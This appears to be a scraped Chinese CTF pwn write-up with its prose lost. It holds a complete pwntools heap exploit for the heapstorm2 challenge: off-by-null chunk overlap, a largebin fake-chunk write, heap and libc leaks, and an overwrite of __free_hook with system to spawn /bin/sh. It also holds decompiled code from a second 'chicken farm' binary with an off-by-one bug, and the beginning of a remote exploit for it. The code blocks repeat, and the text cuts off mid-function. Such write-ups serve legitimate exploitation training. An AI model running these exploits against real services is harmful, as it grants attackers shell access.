libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
str_bin_sh
=
next
(libc.search(b
'/bin/sh\x00'
))
success(
"malloc_hook:"
+
hex
(malloc_hook))
unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);
unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);
/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
def
get_shell():
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
payload
+
=
p64(free_hook)
+
p64(
0x100
)
+
p64(str_bin_sh)
+
p64(
8
)
edit(
0
, payload)
edit(
1
, p64(system))
delete(
2
)
r.interactive()
def
get_shell():
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
payload
+
=
p64(free_hook)
+
p64(
0x100
)
+
p64(str_bin_sh)
+
p64(
8
)
edit(
0
, payload)
edit(
1
, p64(system))
delete(
2
)
r.interactive()
from
pwn
import
*
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
connect():
global
r, elf, libc
r
=
process(
'./heapstorm2'
)
elf
=
ELF(
"./heapstorm2"
)
libc
=
elf.libc
is_debug
=
True
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(r, gdbscript
=
gdbscript)
pause()
else
:
pass
def
add(size):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
1
).encode())
r.recvuntil(b
"Size: "
)
r.sendline(
str
(size).encode())
def
delete(index):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
3
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
def
show(index):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
4
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
def
edit(index,content):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
2
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
r.recvuntil(b
"Size: "
)
r.sendline(
str
(
len
(content)).encode())
r.recvuntil(b
"Content: "
)
r.send(content)
def
overlapping():
add(
0x18
)
# 0
add(
0x508
)
# 1
add(
0x18
)
# 2 prev_size 0x510
add(
0x18
)
# 3
add(
0x508
)
# 4
add(
0x18
)
# 5 prev_size 0x510
add(
0x18
)
# 6
#debug() # d1 ----------------------------------
'''覆盖 idx_7'''
edit(
1
, b
'a'
*
0x4f0
+
p64(
0x500
))
# fake_prev_size
delete(
1
)
#debug() # d2 ----------------------------------
edit(
0
, b
'a'
*
(
0x18
-
0xC
))
# 0xC for str & off-by-null 0x511->0x500
#debug() # d3 ----------------------------------
add(
0x18
)
# 1
add(
0x4d8
)
# 7
#debug() # d4 ----------------------------------
delete(
1
)
delete(
2
)
#debug() # d5 ----------------------------------
add(
0x38
)
# 1
add(
0x4e8
)
# 2 0x4f0 + 0x40 = 0x530
'''覆盖 idx_8'''
edit(
4
, b
'a'
*
0x4f0
+
p64(
0x500
))
delete(
4
)
edit(
3
, b
'a'
*
(
0x18
-
0xC
))
# 0xC for str & off-by-null 0x511->0x500
add(
0x18
)
# 4
add(
0x4d8
)
# 8
delete(
4
)
delete(
5
)
add(
0x48
)
# 4 0x530 - 0x50 = 0x4e0 idx_8
#debug() # d6 ----------------------------------
delete(
2
)
#debug() # d7 ----------------------------------
add(
0x4e8
)
# 2
#debug() # d8 ----------------------------------
delete(
2
)
#debug() # d9 ----------------------------------
def
leak():
global
free_hook, storage, system, str_bin_sh
storage
=
0x13370800
fake_chunk
=
storage
-
0x20
payload
=
b
'\x00'
*
0x10
payload
+
=
p64(
0
)
+
p64(
0x4f1
)
payload
+
=
p64(
0
)
+
p64(fake_chunk)
edit(
7
, payload)
#debug() # d10 ----------------------------------
payload
=
b
'\x00'
*
0x20
payload
+
=
p64(
0
)
+
p64(
0x4e1
)
payload
+
=
p64(
0
)
+
p64(fake_chunk
+
0x8
)
payload
+
=
p64(
0
)
+
p64(fake_chunk
-
0x18
-
5
)
edit(
8
, payload)
#debug() # d11 ----------------------------------
add(
0x48
)
# 2 0x133707e0
#debug() # d12 ----------------------------------
payload
=
p64(
0
)
*
4
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
edit(
2
, payload)
#debug()
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
payload
+
=
p64(storage)
+
p64(
0x1000
)
payload
+
=
p64(fake_chunk
+
3
)
+
p64(
8
)
edit(
0
, payload)
#debug()
show(
1
)
r.recvuntil(b
"]: "
)
heap
=
u64(r.recv(
6
).ljust(
8
, b
'\x00'
))
success(
"heap:"
+
hex
(heap))
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
payload
+
=
p64(storage)
+
p64(
0x1000
)
payload
+
=
p64(heap
+
0x10
)
+
p64(
8
)
edit(
0
, payload)
#debug()
show(
1
)
r.recvuntil(b
"]: "
)
malloc_hook
=
u64(r.recv(
6
).ljust(
8
, b
'\x00'
))
-
0x58
-
0x10
libc.address
=
malloc_hook
-
libc.sym[
'__malloc_hook'
]
free_hook
=
libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
str_bin_sh
=
next
(libc.search(b
'/bin/sh\x00'
))
success(
"malloc_hook:"
+
hex
(malloc_hook))
def
get_shell():
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
payload
+
=
p64(free_hook)
+
p64(
0x100
)
+
p64(str_bin_sh)
+
p64(
8
)
edit(
0
, payload)
edit(
1
, p64(system))
delete(
2
)
r.interactive()
def
pwn():
connect()
overlapping()
leak()
get_shell()
if
__name__
=
=
"__main__"
:
pwn()
from
pwn
import
*
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
def
connect():
global
r, elf, libc
r
=
process(
'./heapstorm2'
)
elf
=
ELF(
"./heapstorm2"
)
libc
=
elf.libc
is_debug
=
True
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(r, gdbscript
=
gdbscript)
pause()
else
:
pass
def
add(size):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
1
).encode())
r.recvuntil(b
"Size: "
)
r.sendline(
str
(size).encode())
def
delete(index):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
3
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
def
show(index):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
4
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
def
edit(index,content):
r.recvuntil(b
"Command: "
)
r.sendline(
str
(
2
).encode())
r.recvuntil(b
"Index: "
)
r.sendline(
str
(index).encode())
r.recvuntil(b
"Size: "
)
r.sendline(
str
(
len
(content)).encode())
r.recvuntil(b
"Content: "
)
r.send(content)
def
overlapping():
add(
0x18
)
# 0
add(
0x508
)
# 1
add(
0x18
)
# 2 prev_size 0x510
add(
0x18
)
# 3
add(
0x508
)
# 4
add(
0x18
)
# 5 prev_size 0x510
add(
0x18
)
# 6
#debug() # d1 ----------------------------------
'''覆盖 idx_7'''
edit(
1
, b
'a'
*
0x4f0
+
p64(
0x500
))
# fake_prev_size
delete(
1
)
#debug() # d2 ----------------------------------
edit(
0
, b
'a'
*
(
0x18
-
0xC
))
# 0xC for str & off-by-null 0x511->0x500
#debug() # d3 ----------------------------------
add(
0x18
)
# 1
add(
0x4d8
)
# 7
#debug() # d4 ----------------------------------
delete(
1
)
delete(
2
)
#debug() # d5 ----------------------------------
add(
0x38
)
# 1
add(
0x4e8
)
# 2 0x4f0 + 0x40 = 0x530
'''覆盖 idx_8'''
edit(
4
, b
'a'
*
0x4f0
+
p64(
0x500
))
delete(
4
)
edit(
3
, b
'a'
*
(
0x18
-
0xC
))
# 0xC for str & off-by-null 0x511->0x500
add(
0x18
)
# 4
add(
0x4d8
)
# 8
delete(
4
)
delete(
5
)
add(
0x48
)
# 4 0x530 - 0x50 = 0x4e0 idx_8
#debug() # d6 ----------------------------------
delete(
2
)
#debug() # d7 ----------------------------------
add(
0x4e8
)
# 2
#debug() # d8 ----------------------------------
delete(
2
)
#debug() # d9 ----------------------------------
def
leak():
global
free_hook, storage, system, str_bin_sh
storage
=
0x13370800
fake_chunk
=
storage
-
0x20
payload
=
b
'\x00'
*
0x10
payload
+
=
p64(
0
)
+
p64(
0x4f1
)
payload
+
=
p64(
0
)
+
p64(fake_chunk)
edit(
7
, payload)
#debug() # d10 ----------------------------------
payload
=
b
'\x00'
*
0x20
payload
+
=
p64(
0
)
+
p64(
0x4e1
)
payload
+
=
p64(
0
)
+
p64(fake_chunk
+
0x8
)
payload
+
=
p64(
0
)
+
p64(fake_chunk
-
0x18
-
5
)
edit(
8
, payload)
#debug() # d11 ----------------------------------
add(
0x48
)
# 2 0x133707e0
#debug() # d12 ----------------------------------
payload
=
p64(
0
)
*
4
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
edit(
2
, payload)
#debug()
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
payload
+
=
p64(storage)
+
p64(
0x1000
)
payload
+
=
p64(fake_chunk
+
3
)
+
p64(
8
)
edit(
0
, payload)
#debug()
show(
1
)
r.recvuntil(b
"]: "
)
heap
=
u64(r.recv(
6
).ljust(
8
, b
'\x00'
))
success(
"heap:"
+
hex
(heap))
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
payload
+
=
p64(storage)
+
p64(
0x1000
)
payload
+
=
p64(heap
+
0x10
)
+
p64(
8
)
edit(
0
, payload)
#debug()
show(
1
)
r.recvuntil(b
"]: "
)
malloc_hook
=
u64(r.recv(
6
).ljust(
8
, b
'\x00'
))
-
0x58
-
0x10
libc.address
=
malloc_hook
-
libc.sym[
'__malloc_hook'
]
free_hook
=
libc.sym[
'__free_hook'
]
system
=
libc.sym[
'system'
]
str_bin_sh
=
next
(libc.search(b
'/bin/sh\x00'
))
success(
"malloc_hook:"
+
hex
(malloc_hook))
def
get_shell():
payload
=
p64(
0
)
*
2
+
p64(
0
)
+
p64(
0x13377331
)
+
p64(storage)
+
p64(
0x1000
)
payload
+
=
p64(free_hook)
+
p64(
0x100
)
+
p64(str_bin_sh)
+
p64(
8
)
edit(
0
, payload)
edit(
1
, p64(system))
delete(
2
)
r.interactive()
def
pwn():
connect()
overlapping()
leak()
get_shell()
if
__name__
=
=
"__main__"
:
pwn()
patchelf --replace-needed libc.so.6 .
/libc-2
.23.so .
/562
+5Liq5Yiw
patchelf --
set
-interpreter .
/ld-2
.23.so .
/562
+5Liq5Yiw
patchelf --replace-needed libc.so.6 .
/libc-2
.23.so .
/562
+5Liq5Yiw
patchelf --
set
-interpreter .
/ld-2
.23.so .
/562
+5Liq5Yiw
__int64
sub_A9D()
{
unsigned
int
v1;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts
(
"\x1B[1;33m Welcome to Chicken farm!!! \x1B[0m"
);
puts
(
"1.Add a Chicken."
);
puts
(
"2.Delete a Chicken."
);
puts
(
"3.Cook a chicken."
);
puts
(
"4.Chicken you are so beautiful."
);
puts
(
"5.EXIT."
);
_isoc99_scanf(
"%d"
, &v1);
return
v1;
}
__int64
sub_A9D()
{
unsigned
int
v1;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts
(
"\x1B[1;33m Welcome to Chicken farm!!! \x1B[0m"
);
puts
(
"1.Add a Chicken."
);
puts
(
"2.Delete a Chicken."
);
puts
(
"3.Cook a chicken."
);
puts
(
"4.Chicken you are so beautiful."
);
puts
(
"5.EXIT."
);
_isoc99_scanf(
"%d"
, &v1);
return
v1;
}
__int64
__fastcall main(
__int64
a1,
char
**a2,
char
**a3)
{
int
v4;
// [rsp+Ch] [rbp-4h]
sub_A50(a1, a2, a3);
malloc
(1uLL);
puts
(
"==:.........................................................................=..::::..=:::::::::::\n"
"===-:.......................................................................=..=-:=:.=:.:::::::::\n"
"=====-......................................................................=..-:.=:.=:..::::::::\n"
"=======:.........................................:..........................=..:--=..=:...:::::::\n"
"========-:......................................:-=++-......................=..=.:=..=:....::::::\n"
"==========-....................................:+**###+:....................=-::-----=:......::::\n"
"===========-...............................:--:.+######=....................=.-:-:-:.=:.......:::\n"
":-=========-.............................:+###*:*#+#+*=:...................:=.---:--.=:........::\n"
":::-=======-............................:######:####+-......................-::::.::.=:.........:\n"
"::::--=====-...........................:#++####=+####:.......................:--------..........:\n"
"::::::--===-...........................#++++++#*-#++##:..........................................\n"
"::::::::-==-..........................*++++++++#:+++++*..........................................\n"
"::::::::::--..........................+++++++++#++#++++-.........................................\n"
"::::::::::::..........................#++++++++#++#++++=.........................................\n"
":::::::::::::.........................=+++++++#+++##+++=.........................................\n"
"..:::::::::::::........................*+++++#++++++#++:.........................................\n"
"....:::::::::::::.......................#++++#=++++++#*..........................................\n"
"......:::::::::::::.....................++*##**#++++#=:..........................................\n"
"........:::::::::::::..................-==++++++*##*=:...........................................\n"
".........:::::::::::::................-======+==+++..............................................\n"
"...........:::::::::::::..............-===+++++++++-.............................................\n"
".............:::::::::::::...........:===++++++++++=:............................................\n"
"...............:::::::::::::.........===++*+-=***+++=............................................\n"
"................::::::::::::::......-=+++*=...-*++++=............................................\n"
"..................:::::::::::::....-==+++-.....=++++=:...........................................\n"
"....................:::::::::::::..==+++-.......+++++-...........................................\n"
"......................::::::::::::-=++*=........:*+++=...........................................\n"
"........................::::::::::=+++-..........:+*++-.........................................:\n"
".........................::::::::-==+=:...........:+===........................................::\n"
"::::.......................:::::-==++::::..........====:......................................:::\n"
"::::::::::::::::::::::::::::----===+=::::::::::::::-+==-:::::::::::::::::::::::::::::::::::::::--\n"
":::::::::::::::::::::::::::::::-==++:::::::::::::::-+===::::::::::::::::::::::::::::::::::::-----\n"
":::::::::::::::::::::::::::::::-=++-::::::::::::::::+===:::::::::::::::::::::::::::::::::::::----\n"
":::::::::::::::::::::::::::::::=++=:::::::::::::::::====:::::::::::::::::::::::::::::::::::::::--\n"
"::::::::::::::::::::::::::::::-+++::::::::::::::::::-+++::::::::::::::::::::::::::::::::::::::::-\n"
"::::::::::::::::::::::::::::::+#+:::::::::::::::::::::*#-::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::::##+:::::::::::::::::::::*#*::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::-*###:::::::::::::::::::::###+:::::::::::::::::::::::::::::::::::::::"
);
while
( 1 )
{
while
( 1 )
{
while
( 1 )
{
while
( 1 )
{
v4 = sub_A9D();
if
( v4 != 1 )
break
;
sub_BFC();
}
if
( v4 != 2 )
break
;
sub_D28();
}
if
( v4 != 3 )
break
;
sub_EB3();
}
if
( v4 != 4 )
break
;
sub_1005();
}
return
0LL;
}
__int64
__fastcall main(
__int64
a1,
char
**a2,
char
**a3)
{
int
v4;
// [rsp+Ch] [rbp-4h]
sub_A50(a1, a2, a3);
malloc
(1uLL);
puts
(
"==:.........................................................................=..::::..=:::::::::::\n"
"===-:.......................................................................=..=-:=:.=:.:::::::::\n"
"=====-......................................................................=..-:.=:.=:..::::::::\n"
"=======:.........................................:..........................=..:--=..=:...:::::::\n"
"========-:......................................:-=++-......................=..=.:=..=:....::::::\n"
"==========-....................................:+**###+:....................=-::-----=:......::::\n"
"===========-...............................:--:.+######=....................=.-:-:-:.=:.......:::\n"
":-=========-.............................:+###*:*#+#+*=:...................:=.---:--.=:........::\n"
":::-=======-............................:######:####+-......................-::::.::.=:.........:\n"
"::::--=====-...........................:#++####=+####:.......................:--------..........:\n"
"::::::--===-...........................#++++++#*-#++##:..........................................\n"
"::::::::-==-..........................*++++++++#:+++++*..........................................\n"
"::::::::::--..........................+++++++++#++#++++-.........................................\n"
"::::::::::::..........................#++++++++#++#++++=.........................................\n"
":::::::::::::.........................=+++++++#+++##+++=.........................................\n"
"..:::::::::::::........................*+++++#++++++#++:.........................................\n"
"....:::::::::::::.......................#++++#=++++++#*..........................................\n"
"......:::::::::::::.....................++*##**#++++#=:..........................................\n"
"........:::::::::::::..................-==++++++*##*=:...........................................\n"
".........:::::::::::::................-======+==+++..............................................\n"
"...........:::::::::::::..............-===+++++++++-.............................................\n"
".............:::::::::::::...........:===++++++++++=:............................................\n"
"...............:::::::::::::.........===++*+-=***+++=............................................\n"
"................::::::::::::::......-=+++*=...-*++++=............................................\n"
"..................:::::::::::::....-==+++-.....=++++=:...........................................\n"
"....................:::::::::::::..==+++-.......+++++-...........................................\n"
"......................::::::::::::-=++*=........:*+++=...........................................\n"
"........................::::::::::=+++-..........:+*++-.........................................:\n"
".........................::::::::-==+=:...........:+===........................................::\n"
"::::.......................:::::-==++::::..........====:......................................:::\n"
"::::::::::::::::::::::::::::----===+=::::::::::::::-+==-:::::::::::::::::::::::::::::::::::::::--\n"
":::::::::::::::::::::::::::::::-==++:::::::::::::::-+===::::::::::::::::::::::::::::::::::::-----\n"
":::::::::::::::::::::::::::::::-=++-::::::::::::::::+===:::::::::::::::::::::::::::::::::::::----\n"
":::::::::::::::::::::::::::::::=++=:::::::::::::::::====:::::::::::::::::::::::::::::::::::::::--\n"
"::::::::::::::::::::::::::::::-+++::::::::::::::::::-+++::::::::::::::::::::::::::::::::::::::::-\n"
"::::::::::::::::::::::::::::::+#+:::::::::::::::::::::*#-::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::::##+:::::::::::::::::::::*#*::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::-*###:::::::::::::::::::::###+:::::::::::::::::::::::::::::::::::::::"
);
while
( 1 )
{
while
( 1 )
{
while
( 1 )
{
while
( 1 )
{
v4 = sub_A9D();
if
( v4 != 1 )
break
;
sub_BFC();
}
if
( v4 != 2 )
break
;
sub_D28();
}
if
( v4 != 3 )
break
;
sub_EB3();
}
if
( v4 != 4 )
break
;
sub_1005();
}
return
0LL;
}
__int64
sub_BFC()
{
int
v1;
// [rsp+4h] [rbp-Ch]
int
*v2;
// [rsp+8h] [rbp-8h]
v1 = sub_B34();
if
( v1 == -1 )
{
puts
(
"\x1B[1;31m The chicken nest collapsed!!! \x1B[0m"
);
}
else
{
v2 = (
int
*)
malloc
(0x20uLL);
puts
(
"\x1B[1;33m Give me the size of the chicken. \x1B[0m"
);
_isoc99_scanf(
"%d"
, v2);
*((_QWORD *)v2 + 1) =
malloc
(*v2);
*((_QWORD *)v2 + 3) =
malloc
(0x80uLL);
*((_QWORD *)v2 + 2) =
malloc
(0x20uLL);
puts
(
"\x1B[1;33m Give me the name of the chicken. \x1B[0m"
);
sub_B74(*((_QWORD *)v2 + 1), (unsigned
int
)*v2);
puts
(
"\x1B[1;33m Give the chicken a mark. \x1B[0m"
);
read(0, *((
void
**)v2 + 2), 0x20uLL);
dword_203060[v1] = 1;
qword_203080[v1] = v2;
}
return
0LL;
}
__int64
sub_BFC()
{
int
v1;
// [rsp+4h] [rbp-Ch]
int
*v2;
// [rsp+8h] [rbp-8h]
v1 = sub_B34();
if
( v1 == -1 )
{
puts
(
"\x1B[1;31m The chicken nest collapsed!!! \x1B[0m"
);
}
else
{
v2 = (
int
*)
malloc
(0x20uLL);
puts
(
"\x1B[1;33m Give me the size of the chicken. \x1B[0m"
);
_isoc99_scanf(
"%d"
, v2);
*((_QWORD *)v2 + 1) =
malloc
(*v2);
*((_QWORD *)v2 + 3) =
malloc
(0x80uLL);
*((_QWORD *)v2 + 2) =
malloc
(0x20uLL);
puts
(
"\x1B[1;33m Give me the name of the chicken. \x1B[0m"
);
sub_B74(*((_QWORD *)v2 + 1), (unsigned
int
)*v2);
puts
(
"\x1B[1;33m Give the chicken a mark. \x1B[0m"
);
read(0, *((
void
**)v2 + 2), 0x20uLL);
dword_203060[v1] = 1;
qword_203080[v1] = v2;
}
return
0LL;
}
struct
Chicken {
int
size;
void
* name;
void
* mark;
void
* msg;
// 后面分析得知,这里记载的菜名。
};
struct
Chicken {
int
size;
void
* name;
void
* mark;
void
* msg;
// 后面分析得知,这里记载的菜名。
};
__int64
sub_B34()
{
int
i;
// [rsp+0h] [rbp-4h]
for
( i = 0; i <= 7; ++i )
{
if
( !dword_203060[i] )
return
(unsigned
int
)i;
}
return
0xFFFFFFFFLL;
}
__int64
sub_B34()
{
int
i;
// [rsp+0h] [rbp-4h]
for
( i = 0; i <= 7; ++i )
{
if
( !dword_203060[i] )
return
(unsigned
int
)i;
}
return
0xFFFFFFFFLL;
}
char
*__fastcall sub_B74(
char
*a1,
int
a2)
{
char
*result;
// rax
read(0, a1, a2);
result = &a1[a2];
*result &= ~1u;
return
result;
}
char
*__fastcall sub_B74(
char
*a1,
int
a2)
{
char
*result;
// rax
read(0, a1, a2);
result = &a1[a2];
*result &= ~1u;
return
result;
}
__int64
sub_D28()
{
int
v1;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts
(
"\x1B[1;33m Which chicken will you kill? \x1B[0m"
);
_isoc99_scanf(
"%d"
, &v1);
if
( dword_203060[v1] )
{
*(_DWORD *)qword_203080[v1] = 0;
dword_203060[v1] = 0;
free
(*(
void
**)(qword_203080[v1] + 8LL));
*(_QWORD *)(qword_203080[v1] + 8LL) = 0LL;
free
(*(
void
**)(qword_203080[v1] + 16LL));
*(_QWORD *)(qword_203080[v1] + 16LL) = 0LL;
free
(*(
void
**)(qword_203080[v1] + 24LL));
qword_203080[v1] = 0LL;
}
else
{
puts
(
"\x1B[1;31m The chicken has already been cooked. \x1B[0m"
);
}
return
0LL;
}
__int64
sub_D28()
{
int
v1;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts
(
"\x1B[1;33m Which chicken will you kill? \x1B[0m"
);
_isoc99_scanf(
"%d"
, &v1);
if
( dword_203060[v1] )
{
*(_DWORD *)qword_203080[v1] = 0;
dword_203060[v1] = 0;
free
(*(
void
**)(qword_203080[v1] + 8LL));
*(_QWORD *)(qword_203080[v1] + 8LL) = 0LL;
free
(*(
void
**)(qword_203080[v1] + 16LL));
*(_QWORD *)(qword_203080[v1] + 16LL) = 0LL;
free
(*(
void
**)(qword_203080[v1] + 24LL));
qword_203080[v1] = 0LL;
}
else
{
puts
(
"\x1B[1;31m The chicken has already been cooked. \x1B[0m"
);
}
return
0LL;
}
__int64
sub_EB3()
{
unsigned
int
v1;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts
(
"\x1B[1;33m Which chicken will you cook? \x1B[0m"
);
_isoc99_scanf(
"%d"
, &v1);
if
( dword_203060[v1] )
{
puts
(
"Old name"
);
puts
(*(
const
char
**)(qword_203080[v1] + 8LL));
puts
(
"Give me new name."
);
read(0, *(
void
**)(qword_203080[v1] + 8LL), *(
int
*)qword_203080[v1]);
puts
(
"New name"
);
puts
(*(
const
char
**)(qword_203080[v1] + 8LL));
puts
(
"Give me Cook name."
);
sub_BC0(v1);
}
else
{
puts
(
"\x1B[1;31m Ni gun ma i u. \x1B[0m"
);
}
return
0LL;
}
__int64
sub_EB3()
{
unsigned
int
v1;
// [rsp+4h] [rbp-Ch] BYREF
unsigned
__int64
v2;
// [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
puts
(
"\x1B[1;33m Which chicken will you cook? \x1B[0m"
);
_isoc99_scanf(
"%d"
, &v1);
if
( dword_203060[v1] )
{
puts
(
"Old name"
);
puts
(*(
const
char
**)(qword_203080[v1] + 8LL));
puts
(
"Give me new name."
);
read(0, *(
void
**)(qword_203080[v1] + 8LL), *(
int
*)qword_203080[v1]);
puts
(
"New name"
);
puts
(*(
const
char
**)(qword_203080[v1] + 8LL));
puts
(
"Give me Cook name."
);
sub_BC0(v1);
}
else
{
puts
(
"\x1B[1;31m Ni gun ma i u. \x1B[0m"
);
}
return
0LL;
}
ssize_t __fastcall sub_BC0(
int
a1)
{
return
read(0, *(
void
**)(qword_203080[a1] + 24LL), 0x80uLL);
}
ssize_t __fastcall sub_BC0(
int
a1)
{
return
read(0, *(
void
**)(qword_203080[a1] + 24LL), 0x80uLL);
}
__int64
sub_1005()
{
int
i;
// [rsp+Ch] [rbp-4h]
for
( i = 0; i <= 7; ++i )
{
printf
(
"The chicken %d\n"
, (unsigned
int
)i);
if
( dword_203060[i] )
{
puts
(
"\x1B[1;33m Name \x1B[0m"
);
puts
(*(
const
char
**)(qword_203080[i] + 8LL));
puts
(
"\x1B[1;33m ErrMsg \x1B[0m"
);
puts
(*(
const
char
**)(qword_203080[i] + 24LL));
puts
(
"\x1B[1;33m Mark \x1B[0m"
);
puts
(*(
const
char
**)(qword_203080[i] + 16LL));
}
}
return
0LL;
}
__int64
sub_1005()
{
int
i;
// [rsp+Ch] [rbp-4h]
for
( i = 0; i <= 7; ++i )
{
printf
(
"The chicken %d\n"
, (unsigned
int
)i);
if
( dword_203060[i] )
{
puts
(
"\x1B[1;33m Name \x1B[0m"
);
puts
(*(
const
char
**)(qword_203080[i] + 8LL));
puts
(
"\x1B[1;33m ErrMsg \x1B[0m"
);
puts
(*(
const
char
**)(qword_203080[i] + 24LL));
puts
(
"\x1B[1;33m Mark \x1B[0m"
);
puts
(*(
const
char
**)(qword_203080[i] + 16LL));
}
}
return
0LL;
}
from
pwn
import
*
#context.log_level='debug'
context.log_level
=
'info'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.arch
=
'amd64'
is_local
=
False
is_debug
=
True
def
connect():
global
elf, libc, p
elf
=
ELF(
'./562+5Liq5Yiw'
)
libc
=
ELF(
'./libc-2.23.so'
)
if
is_local:
p
=
process(
'./562+5Liq5Yiw'
)
else
:
p
=
remote(
'IP'
, port)
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(p, gdbscript
=
gdbscript)
pause()
else
:
pass
def
Add(size, data, mark):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'1'
)
p.recvuntil(b
"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n"
)
p.sendline(
str
(size).encode())
p.recvuntil(b
"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n"
)
p.send(data)
p.recvuntil(b
"\x1B[1;33m Give the chicken a mark. \x1B[0m\n"
)
p.send(mark)
def
Delete(idx):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'2'
)
p.recvuntil(b
"\x1B[1;33m Which chicken will you kill? \x1B[0m\n"
)
p.sendline(
str
(idx).encode())
def
Cook(idx, name, cook):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'3'
)
p.recvuntil(b
"\x1B[1;33m Which chicken will you cook? \x1B[0m\n"
)
p.sendline(
str
(idx).encode())
p.recvuntil(b
"Give me new name.\n"
)
p.send(name)
p.recvuntil(b
"Give me Cook name.\n"
)
p.send(cook)
def
Black():
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'4'
)
from
pwn
import
*
#context.log_level='debug'
context.log_level
=
'info'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.arch
=
'amd64'
is_local
=
False
is_debug
=
True
def
connect():
global
elf, libc, p
elf
=
ELF(
'./562+5Liq5Yiw'
)
libc
=
ELF(
'./libc-2.23.so'
)
if
is_local:
p
=
process(
'./562+5Liq5Yiw'
)
else
:
p
=
remote(
'IP'
, port)
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(p, gdbscript
=
gdbscript)
pause()
else
:
pass
def
Add(size, data, mark):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'1'
)
p.recvuntil(b
"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n"
)
p.sendline(
str
(size).encode())
p.recvuntil(b
"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n"
)
p.send(data)
p.recvuntil(b
"\x1B[1;33m Give the chicken a mark. \x1B[0m\n"
)
p.send(mark)
def
Delete(idx):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'2'
)
p.recvuntil(b
"\x1B[1;33m Which chicken will you kill? \x1B[0m\n"
)
p.sendline(
str
(idx).encode())
def
Cook(idx, name, cook):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'3'
)
p.recvuntil(b
"\x1B[1;33m Which chicken will you cook? \x1B[0m\n"
)
p.sendline(
str
(idx).encode())
p.recvuntil(b
"Give me new name.\n"
)
p.send(name)
p.recvuntil(b
"Give me Cook name.\n"
)
p.send(cook)
def
Black():
p.recvuntil(b
